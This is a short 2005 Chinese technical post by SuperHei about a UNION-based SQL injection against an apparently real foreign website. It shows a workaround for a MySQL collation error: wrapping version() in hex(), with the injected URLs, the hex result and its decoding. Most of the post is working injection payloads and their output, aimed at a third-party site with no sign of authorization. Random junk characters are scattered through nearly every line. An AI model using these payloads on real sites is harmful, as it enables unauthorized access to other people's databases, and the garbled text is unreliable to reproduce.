本文作者:SuperHei
3 ^ C% z& ?8 y1 A9 A+ K文章性质:原创
% N! \7 ]6 @: ^' M! X# M发布日期:2005-10-187 x7 ?% \9 T! R. I" j3 y! A4 x
测试个国外的站时:
; f- @: z+ N" V' k7 [5 ]5 durl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*0 a# T$ r5 b* F+ ^- Q, \5 ]
返回错误:$ L1 V, z* V. a( H4 Z/ j5 v
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION' d0 B4 Z: H! C4 Y9 V! D
MySQL Error No. 1267 E5 t" I7 |. e4 R7 w9 r8 G1 X; G; k
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
5 H& D- I! K6 F" B解决办法:转为其他编码如hex。
4 A$ w- N1 } S) {6 c! F* Furl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*9 |/ L% a9 m& a. R7 D- l; u6 @
成功得到hex(version())的值为:
: S4 } {: ?( u$ s$ L8 x0 R342E312E332D62657461" a( L: D) S! g% O
回Mysql查询下得到:' U& b) _" V& i, ~6 p5 q5 A. E
mysql> select 0x342E312E332D62657461;
4 ~! @# ` v2 D. l$ S* x9 C2 h+------------------------+, w2 k- l% B0 P# i% e, j% J
| 0x342E312E332D62657461 |
5 z N) c) S) T2 z0 P7 \" v9 {+------------------------+
3 u- t& {( c8 Z0 m( D+ o3 R| 4.1.3-beta |" T9 v) d# {9 \% x
+------------------------+$ P- b' x3 I# o8 D. l2 d
1 row in set (0.00 sec)
+ ^6 H! Y4 d5 W6 _' K# B0 r4 ^4 ^9 e( J& s$ T1 u8 i$ E
|